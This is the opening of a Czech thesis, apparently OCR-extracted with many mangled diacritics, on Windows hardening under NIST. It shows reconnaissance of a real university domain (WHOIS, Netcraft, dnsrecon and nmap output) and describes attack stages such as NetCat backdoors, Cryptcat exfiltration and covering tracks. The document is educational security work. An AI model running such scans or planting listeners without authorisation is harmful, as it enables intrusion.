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ANOTACE

Cilem prace je identifikovat stav zabezpeceni OS Windows klientt i serveru dle metodiky NIST
(National Institute of Standards and Technology). Autor v teoretické ¢asti mapuje softwarové
nastroje ¢i metodiky, které pomahaji dneSnim administratorim Vv hardeningu jejich prostiedi,
zejména serverut, a K tomu, aby dosahli compliance. Student se zabyva piedevsim nastroji firmy
Microsoft pro opera¢ni systémy Windows a to jak serverovymi, tak i klientskymi. Student
V teoretické ¢asti rovnéz provadi komparativni analyzu rGznych norem na hardening operacnich
systémt. V praktické ¢asti je vytvofena modelova pocitaCova sit’ se servery a klienty, pficemz
na této siti jsou provedeny zakladni piistupy penetracniho testovani (reconaissance,
enumeration) a analyzovany, jak moc je sit’ nachylna k potencialnim Gtok@im ¢i zranitelnostem.
Nasledné v praxi jsou aplikovany zminéné softwarové nastroje a metodiky pro hardening
a zopakovany pfistupy penetracniho testovani. Nasleduje analyza, nakolik byla opatfeni pro

zvySeni zabezpeceni piinosna.
KLICOVA SLOVA

Hardening, NIST, CSIRT, enumeration

TITLE

Windows security status identification

ANNOTATION

Goal of this thesis is identification of Windows clients and servers security status according
to NIST (National Institute of Standards and Technology) methodology. Theoretical part
of thesis will introduce software and methodic that helps administrators to harden their
environment, especially servers to achieve compliance. In this thesis author will mainly focus
on software developed by Microsoft for their operating systems, servers and clients. Theoretical
part of thesis will also introduce comparative analysis of various hardening standards. Practical
part will be focused on creating network with servers and clients on which demonstration

of basic approaches to penetration testing (reconnaissance, enumeration) will be shown



and analyses how the network is vulnerable to attacks. After that, methods introduced
in theoretical part, will be applied to harden the system and penetration testing will be repeated.

Results will be compared and explanation of how those precautions were effective will
be given.
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Hardening, NIST, enumeration,
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UvVoD
Bezpecnost. Slovo sklonované v dnesnim svété vice a vice. Absolutni bezpeci je bohuzel véc
zcela vytrzend z utopického romanu a to uz nejen ve svété realném, ale také v tom virtualnim.
Absolutni bezpeci nelze nijak koupit, ani zajistit. Neni myslen pocit faleSného bezpeci, kdy
vétSina uzivatelt nastavi na email pétimistné heslo, své jméno jako heslo na bankovnictvi anebo
jen ponecha vychozi heslo na svém pfistupovém bodu, protoze kdo by se 0 malou ,,rybu®
zajimal, ale opravdové le¢ Castecné bezpecnosti, pro kterou lze udélat mnohé. At si to
uvédomujeme ¢i ne, denné je o nasem zivoté v realném svété zapsano gigabity dat. Chytrym
telefonem, sledujicim nasi pozici pies GPS, telefonu s Androidem odesilajici telemetrické data,
operatofi, ktefi sleduji na§ pohyb, kamerovymi systémy na ulicich, déalnicich, budovach ¢i
dopravnich prostfedcich nebo dokonce banky, jenz spravuji nase ucty a maji ptehled o vSech
online transakcich, které uskutecnime. VSechna ziskand data jsou zneuzitelna. Nyni nejen
penize, ale také informace opravdu hybou spole¢nosti. V mnoha ptipadech informace jsou
penize. Samoziejmé V samotném jednotlivci opravdu nemusi byt takova sila. Avsak sila, ktera
vznikla propojenim mnoha pocitaclt do sité siti, doopravdy lame veskeré¢ fyzické hranice.
V takové chvili, jednotlivci | spojeni jednotlivet miize napachat nezmérné Skody. Prvotni moda
Facebooku jiz odeznéla, vznikly dalsi socialni sité, jenzZ mohou 1 nepfimo ohroZovat nasi
bezpecnost. Zna¢né mnozstvi ispéSnych utoki je provadéno za pomoci socialnich siti, jenz jsou

vSeobecné pouzivany piili§ diverivymi uzivateli.

Kazdy, kdo vlastni n&jaké zatizeni, provozuje systém ¢i aplikaci nebo jen brouzda po internetu,
by mél zabezpecit své prostiedi. Nedavna historie nas, ale hlavné nékteré podniky méla poucit,
ze spoléhat na uzavieny systém, tedy systém, ktery oddéluje zabezpecenou a nezabezpecenou
sit’ pouze pomoci air gap, neni vilbec bezpecéné. Dilezita je vSeobecna osvéta, kterd se sice do

svéta ,,ajtaka’ jiz davno dostala, ale nedostala se k béznym uzivateltim.

Tato prace se vSak zabyva hlavné zabezpeCenim pracovnich stanic a serveri. Stejné jako
servery, tak i pracovni stanice jsou velice ¢asto zaméfovany protivniky, pouzivajici podvrzené
webové stranky, emaily se skodlivymi ptilohami, flash disky, CD a DVD s obsahem, jenz
se snazi dostat do stanice a zcizit divérné informace. Tato prace pres své specifické zaméteni
muze v osvéte pokraCovat. Jelikoz naznacuje, Ze je mozné neopatrnym chovanim vystavit sviij
pouzivany systém a potazmo data tfeti strané. Hardening je nikdy nekoncici proces, kterym

se zabezpecuje a redukuje riziko napadeni a zcizeni diivérnych informaci.
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1 BEZPECNOST

Co je to bezpecnost a pro¢ ji fesime? Potiebujeme se opravdu chranit? Proti komu? Sousedovi?
Kolegovi? Svétu? Spravna odpovéd je: proti vSem. Nikde by neméla byt nakreslena zadna
hranice, kdy uz to staci. Chranime sebe, své informace, data, fotografie a mnoho dalSich véci,
které nam osobné neptijdou zneuzitelné, le€ ve vétsin€ piipadl mohou byt. Zainym piikladem
muzou byt uniky z emailovych komunikaci, které poskodily americké prezidentské volby.
Dal$im a neméné zavaznym problémem jsou riizné uniky osobnich informaci z riznych firem,
¢1 jen pouhé soukromé fotky, které byly ulozené né¢kde Vv internetu. Spolec¢nosti vSak nechrani
jen sva data a interni informace, reputaci nebo data svych zakaznikt, chrani i své know how.
Bezpecnost v korporacich je zaméfena i na zajisténi kvality sluzeb zakazniktim, av§ak nesmi to

byt na ukor rychlosti systému, fungovani aplikace ani jeji spolehlivosti.

1.1 Penetracni testovani

Penetracni testovani je velice dllezitou soucasti k zabezpeceni informaéniho systému nebo
infrastruktury. Zakladnim kamenem penetra¢niho testovani je série nékolika typl testovani,
které se odliSuji svym pfistupem a zamérenim. Béhem penetracniho testovani je pouzito
nékolika metod a sofistikovanych nastrojii, které simuluji chovani uto¢nika, jehoz cilem
je nepiipustné ziskani kontroly nad zafizenim ¢i pouhé ziskani informaci, které mu nepfislusi.
Proto, aby takové testy byly Gc¢inné, je nutné korektn€ zvolit typy testd. Paklize by se tak

nestalo, nemuselo by dojit k odhaleni viech zavaznych hrozeb.[!]

1.1.1 Faze penetracniho testovani

Vstupni informace a definice

V této fazi se definuje, které penetracni testy budou pouZivany. Proto je nutné ziskat vstupni
informace, které obsahuji napiiklad oc¢ekavané vysledky a pozadavky, topologii siti, ale také
vyslednou cenu realizace. Zaroven se také rozhoduje 0 whitebox ¢i blackbox pfistupech.
U Whiteboxu se simuluje utok od ¢loveka, ktery zna prostedi a blackbox je titok bez internich

znalosti systému, maximaln¢ se znalostmi, jez jsou vetejn¢ dostupné.

Penetracni testovani se mize dé¢lat jednorazove, pro ovéreni bezpecnosti systému ¢i aplikace,

avSak miize se provadét také opakovang, coz vyrazné prispiva k bezpecnéjSimu prostiedi ICT.
Déleni penetracnich testii:

e Interni — testy jsou provadény uvniti datové sité

e Externi — test je provadén z prostiedi internetu
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e Automatizované — pro testovani jsou pouzity specializované nastroje, které bez vyraznéjsich
externich zasaht jsou zcela autonomni

e Manualni — pro testovani je nutné velika znalost informacnich technologii a testovaného
prostiedi

Infrastrukturni testovani

Cilovou kategorii pro infrastrukturni testovani, je odhaleni zranitelnosti, které se mohou
nachazet piedevS§im na aktivnich sitovych prvcich, jako jsou routery, switche, printservery,
fileservery a dalsi sitové prvky. V takovych piipadech se vyuzivaji automatizované testy, které
se pokouseji prihlasit na existujici sluzby pomoci vychozich uéti. Dale je jejich cilem najit

a vyuzit slabych mist v implementaci nebo dokonce slabych Sifrovacich mechanizmech.
Aplikacni testovani

U aplika¢niho testovani je nutné rozliSit testovani tenkého klienta a tlustého klienta. Pro
tlustého klienta, je typické, Ze pies sit’ prendsi veliky objem dat, které ur€itym zplisobem
zpracuje a odesle vysledek zpatky na server. Obsahuje tedy prezenta¢ni a aplikacni vrstvu
a je ptimo pripojeny k databazovému severu. Takovy pristup obsahuje n€kolik vyhod. Tlusty
klient je prenositelnéj$i aje ung rychlejsi odezva. Nekladou se tak veliké hardwarové

pozadavky na server, ale na samotny hardware stroje.

4

Naopak na tenkém Klientovi neprobiha zadné rozhodovani ani logika aplikace, jedna se pouze
webovy prohlize¢ s prezentacni vrstvou, kterd se stard 0 samotné zobrazeni dat. V takovém
ptipad¢ jde 0 testovani a inspekci chovani jednotlivych komponent, skripti, formulait a vstupti

tak, aby se piedeslo znamym typam utokd jako je SQL Injection a Cross site Scripting.!?!
Zmapovani prostredi a testovani

Vystupem automatizovanych testi je list potencialnich zranitelnosti, které je nutné manualné
zkontrolovat a zjistit realnou hrozbu viici systému. Jedna se pouze 0 fazi, kdy doslo k nalezeni
vyuzitelnych zranitelnosti ajednotlivé vysledky jsou podrobovany manudlnimu testovani

V podobé& vyuzivani exploiti.

Automatizované testy neprovadéji klasické penetracni testovani, které by se podobalo chovani

realného utocnika, nicméné i GtoCnik pouziva riizné automatiza¢ni metody.

20



Realizace penetra¢niho testovani

Féaze, ve které probiha hlavni penetracni testovani. Za pomoci riznych nastroji se aktivn¢,
nékdy i automatizované, testuji chyby konfigurace ¢i dal$i odhalené zranitelnosti. Vystupni
data jsou podrobena analyze a na zaklad¢ jejich zavéru je vytvoren report, obsahujici druh, typ,
zavaznost, ale také doporudeni pro odstranéni zjisténych bezpeénostnich rizik. Casto se také
vytvaii komplexni report, jenz obsahuje celkové ohodnoceni testovaného prostiedi nebo
systému. Soucasti uvedené faze také velmi Casto byva demonstrace zranitelnosti. Takova
demonstrace uz vsak probiha s interakci a soucinnosti zadavatele, jenz naptiklad vytvoii novy
tajny zaznam v databazi ¢i soubor v zabezpeCené oblasti, vytvoii nového uzivatele
s administratorskymi pravy. Tester pak na konkrétnim ptikladu ptedvede, jak je mozné

zranitelnosti vyuzit k ovladnuti systému nebo k samotnému zajisténi informaci.
Doporuceni vedouci k napravé

Samotnou realizaci a prezentovanim vysledkt testovani neni cely proces ukonceny. Tester
by s nové ziskanymi znalostmi mé&l popsat a predstavit doporuceni, jak opravit nalezené
zranitelnosti. Pfi opravovani nalezenych chyb a zranitelnosti je také nutné brat v uvahu,
Ze pfestoZze automatizované testy obsahuji feSeni vétSiny nalezenych problémi, nemusi byt
vzdy feSeni zcela aktudlni. V nékterych ptipadech je pro opravu jedné zranitelnosti potieba vice

kroki, piipadné aplikovani vice zaplat, neZ je chyba definitivné odstranéna.™

Problém vSak bohuZel vznika ve chvili, kdy je penetracni testovani ukonceno a vSechny faze
byly ukonceny, v€etné piredani podrobné dokumentace obsahujici slabiny. V mnoha ptipadech
dochazi k situacim, kdy tester i klient pracovali na odstranéni nalezii, avSak spole¢né usili
nevedlo k bezpe¢nému prostiedi, at’ uz z divodd neodstranéni vSech nalezenych slabin nebo

neprofesionality jedné ¢i druhé strany.
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2 HACKING

Hackovani je proces postupii za ucelem ziskani kontroly, velmi casto se jednd 0 néco,
co bychom d¢lat neméli nebo nesmime. Neptetrzity proces, ktery se déje na denni bazi, pficemz
0 vétsine€ utokli ani nemame predstavy. Veliké mnozstvi spolecnosti, poptava zakazky praveé na
penetraci svych systému a siti, za u¢elem odhaleni a opraveni slabin. Mnoho z nich také
vypisuje rizné soutéze a za jakoukoliv nalezenou slabinu je hacker odménén finanéni ¢astkou,
dle vaznosti zjisténého nebezpeci. Takové soutéze vypisuji | mensi spole¢nosti, ne pouze

Facebook, Microsoft ¢i Apple.

2.1 Co je to hackovani

Hackovani mize byt kuptikladu schopnost vidét soubor nebo stranku, kterou bychom vidét
neméli, jelikoZ na to nemame dostate¢né opravnéni. Miize to vsak také byt snaha 0 ziskavani
kontroly nad jednim ¢i vice pocitaci, které za normalnich okolnosti nemame moznost
¢i povoleni ovladat. Existuje mnoho druht utoki, emailové hackovani, pocitacové, serverové,
webové, aplikacni. Pokazdé, kdyz je cilem ziskat ptistup tam, kde to neni opravnéné, jedna

se 0 hackovani.

2.1.1 Déleni hackeru:

Black — kyberzlo¢inci, hackujici systémy pro své vlastni ucely a benefity. Druh hacker, ktefi

kradou penize nebo nici systémy.

White — ¢asto také oznacovani jako eticti hacketi, mohou pouZivat stejné zptisoby jako Black
hacketi. AvSak svou Cinnost provadi pouze po t€, co ziskaji povoleni, aby zjistili a zajistili slabé

mista systému.

Grey - kombinace White a Black, hackuji jakykoliv systém nebo sit’, i kdyz k tomu nemaji
povoleni, délaji to zcela z vlastniho piesvédéeni. Pokud se do systému dostanou, neukradnou
7zadné penize ani nic nezni¢i. VéEtSinou upozorni administratory na dany problém, jak ho

odstranit ¢i opravit.

2.2 Prizkum

Predtim neZ je hacker schopny realizovat svlij Utok, pfedchazi faze prizkumu. Bez této faze,
a tedy i znalosti 0 cili, nemize byt proveden zadny tspé$ny utok. VétSina utokd, které jsou
popsany v dalsi ¢asti, pfedpoklada, ze Gto¢nik jiz znéa zékladni informace 0 systému, véetné IP

adresy, operacniho systému, otevienych portd nebo bézicich sluzeb. Tyto informace
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samoziejmé nejsou bézné dostupné na internetu v podobé tabulky a bez specialnich postupi

nebo internich znalosti je neni mozné ziskat.?!

Samotna ptiprava a sbér informaci mtize trvat 2x az 3x déle nez samotny utok. Neni vyjimkou,
ze faze prizkumu muze trvat n¢kolik tydnt ¢i mésict pied tim, nez dojde k prvnim pokustim
o utok. V ptipadé, ze utocnik nebude znat dostatecné mnozstvi informaci, existuje velika Sance,

ze utok bude neuspésny, uto¢nik bude odhalen ¢i chycen nebo oboji.

Prizkum je mozné dé€lit na dvé casti — aktivni a pasivni. Aktivni prizkum pozaduje interakci
s cilovym systémem za ucelem ziskani informaci. Jakkoliv mtize byt tento prizkum efektivni
a ptresny, vystavuje se riziku detekce. Paklize je takovyto prizkum systému detekovan
administratorem, utocnikovi hrozi nejen odhaleni ¢i blokovani adresy, ale jeho jakékoliv dalsi
aktivity jsou zaznamendny a mohou byt vyuzity k vysledovani veskeré jeho Cinnosti. Jelikoz

pokazdé kdyz posleme paket do sit&, je pod nim podepsana zdrojova adresa. 4]

Paklize je to alespon trosku mozné, vyuziva se pasivniho sbéru dulezitych informaci. Jedna se
0 sbirani informaci o cili, aniz by doslo ke kontaktu s cilem, ktery by vypadal jinak nez
normalni provoz na siti. Pasivni prizkum mtize zahrnovat ziskavani informaci z DNS a SNMP
servert, sledovanim socialnich médii (Facebook, LinkedIn) a dalsich technik, které poskytuji
informace, v extrémnich ptipadech i prochazeni fyzického odpadu. Vse bez jakékoliv interakce

ze strany cile, tim se hacker nevystavuje riziku odhaleni ¢i zpétného stopovani.

Skvélym pomocnikem k ziskani zdkladnich informaci miZze byt spravce Ceské domény
CZ.NIC, Lupa nebo tieba Netcraft, kde je mozné ziskat zakladni informace 0 doméné

¢1 administratorech.

Jen zdkladnim pouzitim prvnich dvou zminénych je mozné ziskat znacné mnozstvi informaci.
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Doménové jméno

Registrace od

Posledni aktualizace

Datum expirace

Driitel

Administrativni kontakt

Uréeny registrator
Zabezpefeno pomoci DNSSEC

Stav

Sada jmennych serverd
Jmenny server

Jmenny server
Technicky kontakt
Uréeny registrator

Stav

upce.cz

19.05.1994

23.09.2010

12.10.2025

UNIVERZITA-PARDUEICE University of Pardubice

REG-INTERNET-CZ INTERNET CZ, a.s. od 29. fijna 2006 14:55

e

UNIVERZITA-PARDUEICE
dns.upce.cz 195113124 32

nsa.ces.net

0S585-UPCE Univerzita Pardubice

REG-INTERNET-CZ INTERMET CZ, a.5. od 13. srpna 2010 14:31

Je navazan na dalii zaznam v registru

Obrazek 1 - WHOIS CZ.NIC, Zdroj: Viastni
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sada nameserveri

nameservery
nameservery
tech-c
registrator
vytvoieno dne
zménéno dne
kontakt
organizace
jméno

adresa

adresa

adresa

adresa
registrator

vytvoieno dne

kontakt
organizace
jméno
adresa
adresa
adresa
adresa
email
registrator

vytvoieno dne

UNIVERZITA-PARDUBICE detailni informace o této sadé nameservert

dns.upce.cz (195.113.124.32)
nsa.ces.net
0OSSS-UPCE informace o technickém kontaktu

REG-INTERNET-CZ informace o reqistratorovi

13. 8. 2010

12.3. 2015

UNIVERZITA-PARDUBICE informace o kontaktu

University of Pardubice
University of Pardubice
Studentska 95
Pardubice

53902

cz

REG-INTERNET-CZ informace o reqgistratorovi

13. 8. 2010

Obriazek 2 - WHOIS Lupa informace o doméné, Zdroj: Viastni

0SSS-UPCE informace o kontaktu

Univerzita Pardubice
hostmaster Univerzita Pardubice
Studentska 95

Pardubice

53210

Ccz

hostmaster@upce.cz

REG-INTERNET-CZ informace o registratorovi

12. 3. 2015

Obrazek 3 - WHOIS Lupa - Informace o technickém kontaktu, Zdroj: Viastni
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Dalsi variantou pro pasivni prizkum je pouziti britské spole¢nosti Netcraft, jenz sleduje

vSechny webové stranky na svété. Z téchto dat jsou schopni vypocitavat uptime nebo podil na

jednotlivych webovych serverech na trhu.

= Background

Site title
Site rank

Description

Univerzita Pardubice

Not Present

Date first seen

Primary language

November 1996
Czech

Keywords Not Present

= Network

Site http://www.upce.cz Netblock Owner Univerzita Pardubice

Domain upce.cz Nameserver dns.upce.cz

IP address 195.113.142.152 DNS admin root@upce.cz

IPv6 address 2001:718:603:a21:0:0:0:1 Reverse DNS unknown

Domain registrar nic.cz Nameserver whois.nic.cz
organisation

Organisation Czech Republic Hosting company CESNET

Top Level Domain Czech Republic (.cz) DNS Security unknown
Extensions
Hosting country Bl CZ
- - - ,
Obrazek 4 - Netcraft site report, Zdroj: Viastni

=l Hosting History

Netblock owner IP address 0s Web server Last seen

Univerzita Pardubice 195.113.142.152 Linux Apache/2.4.10 Debian 8-Aug-

Pardubice 2017

Univerzita Pardubice 195.113.124.150 Linux Apache-Coyote/1.1 22-Sep-
2011

Univerzita Pardubice 185.113.124.44  Linux Apache/1.3.27 13-Apr-
2008

Univerzita Pardubice 195.113.124.44  Linux Apache/1.3.27 5-Aug-
2005

Univerzita Pardubice 195.113.124.44 unknown Apache/1.3.27 3-Aug-
2005

Univerzita Pardubice 195.113.124.9 Apache/1.2.27 Unix Red-Hat/Linux CSacek/2.1.9 mod_ssl/2.8.12 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 8-Mar-2003

ApachelServf1.1.2
Univerzita Pardubice 195.113.124.9 unknown Apache/1.3.23 Unix Red-Hat/Linux CSacek/2.1.9 mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 6-Dec-2002
ApachelServ/1.1.2

Univerzita Pardubice 1985.113.124.9 unknown Apache/1.2.23 Unix Red-Hat/Linux CSacek/2.1.9 mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 21-Aug-
2002

Univerzita Pardubice 185.113.124.9 unknown Apache/1.3.22 Unix Red-Hat/Linux CSacek/2.1.5 mod_ssl/2.8.5 OpenSSL/0.9.6 PHP/4.0.6 mod_perl/1.24 ApachelServ/1.1.2  5-Apr-2002

Univerzita Pardubice 195.113.124.8  Linux Apache/1.3.22 Unix Red-Hat/Linux CSacek/2.1.5 mod_ssl/2.8.5 OpenSSL/0.9.6 PHP/4.0.4pl1 mod_perl/1.24 8-Feb-2002

£l Security

Netcraft Risk Rating
[FAQ]

On Spamhaus Block No
List

On Policy Block List No

0/10

ApachelServf1.1.2

On Exploits Block List No

On Domain Block List No

Obriazek 5 - Netcraft site report, Zdroj: Viastni

Mimo zakladnich informaci 0 strance lze zjistit IP adresu, registratora domény, jméno
spole¢nosti, U které je hosting provozovan. Ve spodni ¢asti najde potencialni hacker dalsi
uzite¢né informace. IP adresy, operacni systém, webovy server a dobu, kdy byl webovy server
naposledy restartovany nebo updatovany. Pro potencidlniho tto¢nika, miize byt takova

informace velmi podstatna, jelikoz muze naznaCovat, ze bezpe€nostni zaplaty pro operac¢ni
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systém, které v mezidobi vznikly, nemusely byt implementovany na systém. Takova informace
miize byt opravdu zasadni, jelikoz vSechny bezpecnostni slabiny odhalené od uvedeného data

mohou byt stale zneuzitelné.

V dalsi casti reportu, je mozné dohledat technologie, které jsou pouzivané na serveru. Podobny
seznam pouzivanych sluzeb je pro utocnika neuveétitelné uziteény, jelikoz mize okamzité
hledat slabiny jednotlivych technologii, aniz by musel hadat, jaké technologie byly pouzité.
Jelikoz kazdy utok na jednotlivé technologie je specificky, znalost konkrétnich bézicich

technologii a sluzeb je obrovské usetfeni prace a ¢asu hackera, jenz hleda pouzitelnou cestu pro

zahéjeni utoku.

27



= Site Technology Fetched on 8th August 2017

Application Servers
An application server is a server that provides software applications with services such as security, data services, transaction support, load balancing, and management of large distributed systems.
Technology Description Popular sites using this technology

Apache &@ Web server software www.libero.it, www.gongye360.com,
www.businessinsider.com

Debian & No description www.raspberrypi.org, www.zillow.com,
www.zonebourse.com

Server-Side
Includes all the main technologies that Netcraft detects as running on the server such as PHP.
Technology Description Popular sites using this technology

Java Servlet &f A server-side Java programming language class www.linkedin.com, www.aliexpress.com,
www.tagesschau.de

SSL & A cryptographic protocol providing communication security over the Internet tap2-cdn.rubiconproject.com, twitter.com,
accounts.google.com

Client-Side

Includes all the main technologies that run on the browser (such as JavaScript and Adobe Flash).

Technology Description Popular sites using this technology

JavaScript & Widely-supported proegramming language commeonly used to power client-side dynamic content on  www.google.ce.uk, www.bbc.co.uk, outlock.live.com
websites

Client-Side Scripting Frameworks
Frameworks or libraries allow for easier development of applications by providing an Application Program Interface (API) or a methodology to follow whilst developing.

Technology Description Popular sites using this technology

Google Tag Manager & No description www.onet.pl, www.speedtest.net, www.20minutes.fr
jQuery & A JavaScript library used to simplify the client-side scripting of HTML www.bom.gov.au, www.foxnews.com, yandex.ru
Google Hosted Libraries & Google API to retrieve JavaScript libraries www.lanacion.com.ar, www.google.co.za, www.sfr.fr
Search

A web search engine is a software that is designed to search for information on the World Wide Web or on a specific site.

Technology Description Popular sites using this technology

Google COOP Onsite & Google custom serach engine (onsite) www.comss.info, www.stuff.co.nz, www.b92.net

Character Encoding
A character encoding system consists of a code that pairs each character frem a given repertoire with something else such as a bit pattern, sequence of natural numbers, octets, or electrical pulses in
order to facilitate the transmission of data (generally numbers or text) through telecommunication networks or for data storage.

Technology Description Popular sites using this technology

UTF8 & UCS Transfermation Format 8 bit www.googleadservices.com, facebook.com

HTTP Compression
HTTP compression is a capability that can be built into web servers and web clients to make better use of available bandwidth, and provide greater transmission speeds between both.
Technology Description Popular sites using this technology

Gzip Content Encoding & Gzip HTTP Compression protocol www.exploit-db.com, www.varzesh3.com,
WWWapps.ups.com

Web Browser Targeting
Web browser targeting enables software applications to make use of specific functions of the browser as well as optimi

ng the application for specific browser versions.

Technology Description Popular sites using this technology

Document Compatibility Mode & A meta-tag used in Internet Explorer § to enable compatibility mode www.imdb.com, cscentral-eu.amazon.com, imgur.com
Doctype
A Document Type Declaration, or DOCTYPE, is an instruction that associates a particular SGML or XML document (for example, a webpage) with a Document Type Definition (DTD).

Technology Description Popular sites using this technology

HTMLS & Latest revision of the HTML standard, the main markup language on the web www.facebock.com, www.google.com, www.ebay.com
HTML & The main markup language used for displaying web pages within browsers www.orange.fr, tags.bluekai.com, onedrive.live.com
CSS Usage

Cascading Style Sheets {CS5) is a style sheet language used for describing the presentation semantics (the look and formatting) of a document written in 3 markup language (such as XHTML).
Technology Description Popular sites using this technology

External & Styles defined within an external CSS file Www.msn.com, www.ebay.de, www.amazon.com

Obrazek 6 - Netcraft - Site technology, Zdroj: Viastni
Paklize, uto¢nik neobjevil dostatecné slabiny nebo provadi dalsi prizkum, mize vyuzit nékteré

r~r

dalsi nastroje, které tito¢nikovi vice priblizi strukturu a ptipadné nabidne dalsi potencialni cile.
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:~# dnsrecon -d upce.cz
*] Performing General Enumeration of Domain: upce.cz
DNSSEC is not configured for upce.cz
SOA dns.upce.cz 195.113.124.32
NS dns.upce.cz 195.113.124.32
NS dns.upce.cz 2001:718:603:2195:113:124:0:32
NS nsa.ces.net 195.113.144.205
Bind Version for 195.113.144.205 NSD 4.1.14
NS nsa.ces.net 2001:718:1:1::144:205
MX upce-cz.mail.protection.outlook.com 213.199.154.42
MX upce-cz.mail.protection.outlook.com 213.199.180.138
A upce.cz 195.113.142.152
AAAA upce.cz 2001:718:603:al::1
TXT upce.cz MS=ms49747165
TXT upce.cz v=spfl a:mxl.upce.cz a:spf.protection.outlook.com a:smtp.dul.cesnet.cz
TXT upce.cz z9XtVkk6F+RWhPP55]j6EFwpBHXyulZw2e8ZC14ZeMYkpbSmi7i0QHTRs01JdDxQdMI09HtsUF3uPQIqG6vz/CQ==
Enumerating SRV Records
SRV sip. tls.upce.cz sipdir.online.lync.com 52.112.194.75 443 1
SRV sip. tls.upce.cz sipdir.online.lync.com 2603:1027:0:6::b 443 1
SRV sipfederationtls. tcp.upce.cz sipfed.online.lync.com 52.112.192.11 5061 1
SRV sipfederationtls. tcp.upce.cz sipfed.online.lync.com 2603:1027:0:3::b 5061 1
4 Records Found

Obriazek 7 - Enumerace pomoci dnsrecon, Zdroj: Viastni

V ptedchozi ukazce je mozné vidét dalsi subdomény provozované pod doménou UPCE. Mezi
nimi doménové servery (NS), SOA (Start of Authority records) zaznam specifikujici klicové
informace 0 DNS v¢etné nazvu serveru, kontaktu na administratora a dalsi. MX (Mail
exchanger record) ur¢uje server pro emailovou komunikaci. A a AAA IPv4 a v6 adresy, jenz
jsou pouzivané pro b&znou komunikaci se svétem. Casto jsou subdomény hostované na réiznych
strojich. V takovém piipadé je mozné objevit nové IP adresy, pro které se da opét spustit
enumerace. Nékteré organizace vytvaii docasné subdomény, které jsou méné zabezpecené nebo
zapomenuté. Takové piehlizené koncové body mohou mit slabsi zabezpeceni, atak jsou

nachylngjsi k pozadavkiim 0 vstup do sité, nez primarni servery.[®

Ackoliv se jiz dostdvame z prizkumu do enumerace a utoki je dal$i moZnosti pro ziskani

informaci nastroj nmap.
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:~# nmap upce.cz

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-08 09:16 EDT
Nmap scan report for upce.cz (195.113.142.152)

Host is up (0.0052s latency).

Other addresses for upce.cz (not scanned): 2001:718:603:al::1
Not shown: 998 filtered ports

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 4.80 seconds
:~# nmap 195.113.124.32

Starting Nmap 7.40 ( https://nmap.org ) at 2017-08-08 09:17 EDT
Nmap scan report for dns.upce.cz (195.113.124.32)

Host is up (0.0028s latency).

Not shown: 999 filtered ports

PORT  STATE SERVICE

53/tcp open domain

Obriazek 8 - Nmap sken porti, Zdroj: Viastni

Z obrazku je patrné, Ze doména UPCE, ma oteviené pouze 2 porty, a tedy 80 pro nezabezpecené
http a port 443 pro zabezpeceny HTTPS provoz. V takovém piipadé lze pouze piedpokladat,

Ze by bylo slozité takovy server napadnout.

2.3 Exploitation

Zneuziti bezpecnostni slabiny mize mit mnoho forem a uspesny hacker bude pouzivat svou
kreativitu, aby ptisel s novym a zcela originalnim zptsobem ttoku. Jakmile ma diky prvni fazi
hacker dostate¢né mnozstvi informaci, mize vyuzit rizné databaze jako je SecurityFocus
¢i TechNet, jenz obsahuji znamé slabiny a exploity. UziteCnym programem pro vyuzivani

slabin je kuptikladu Metasploit. 71101

Hacker musi byt kreativni, jelikoZ musi pfemyslet 0 vSech protokolech, které sit’ ¢i systém
pouziva ajak by mohly byt zneuzité. Musi také vzit v ivahu moZnost zneuziti pomoci
socidlniho inZenyrstvi. Je samoziejmé, Ze utoky se budou liSit podle toho, zda se jedna
0 vzdaleny ¢i mistni utok. V piipadé, Zze ma uto¢nik moznost fyzicky vstoupit do sité, jsou jeho
moznosti prakticky neomezené. V piipadé vzdaleného utoku jsou moznosti zna¢né limitované,

ale o to nebezpecnéjsi.

2.4 ZvySeni opravnéni

Ackoliv Vv ptipadé, Ze se podaftilo utocnikovi dostat se do systému ¢i aplikace, nemé to¢nik
stale vyhrano, jelikoz vétSinou ziskd prava bézného uzivatele. Takova prava jsou ziskana
naptiklad zneuzitim klientskych aplikaci, které jsou obvykle pouzivané, kupiikladu webovy

prohlize¢, Adobe Flash ¢i Reader. Uzivatelskd prava jsou znaénym omezenim, ale cilem
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kazdého hackera jsou prava administratorska, kterd mu poskytnou neomezeny pfistup k celému

systému a siti. V takové chvili potfebuje zvysit opravnéni.

Paklize mame legitimni Gcet na webové strance nebo v mistni siti, mize hacker zvysit své
opravnéni za ucelem ziskani root nebo administratorskych prav. V nékterych piipadech, pokud
doslo ke kompromitovani jednoho systému s uzivatelskymi pravy, je mozné ohrozit i ostatni
systémy v siti. Opét by se nemély opomijet a ignorovat moznosti technik socialniho inzenyrstvi
pro ziskani administratorskych opravnéni, jelikoz v mnoha ptipadech se staci pouze spravné

zeptat.

2.5 Zanechani backdooru

Jakmile byl systém uspéSné napadeny a hacker ziskal administratorska prava, je jeho dalSim
cilem zanechani rootkitu nebo listeneru. To je takovy program, ktery za idealnich podminek,
pfezije restartovani nebo updatovani systému aumozni hackerovi se kdykoliv vracet do
systému bez zpozorovani, aniz by se musel znovu slozité do systému dostavat. Pro takovy ucel
se skvéle hodi NetCat, jelikoz neni antivirovymi spole¢nostmi zahrnovan do svych databazi
a miiZze bez povSimnuti béZet na pozadi pocitace s aktualizovanou virovou databazi. NetCat
naslouchd naureném portu avV piipadé¢ pokusu 0 navdzani spojeni, spusti poZadovany

program. Pro podobné ucely se vyuzivaji i jiné programy, tfeba i VNC.

2.6 Extrakce dat

Primarnim cilem pro hackovani je ziskani pfistupu, pro ziskani nebo zménu dat. Informace
to mohou byt osobni, jako je rodné Cislo, bydlisté, kreditni karty, duSevni vlastnictvi anebo dalsi
cenné informace. Hacker chce takova data ziskat bez pov§imnuti systémového admina a nejlépe

zasifrovana. Pro podobné udely je mozné pouzit Recub nebo Cryptcat.[111112]

2.7 Zameteni stop

V neposledni fad¢ se musi uto¢nik ujistit, Ze neni mozné vystopovat utok k nému samotnému,
a proto musi zakryt své stopy. Hacker tak po sob&é maze rlizné logy, nahrany a jiz nepotiebny
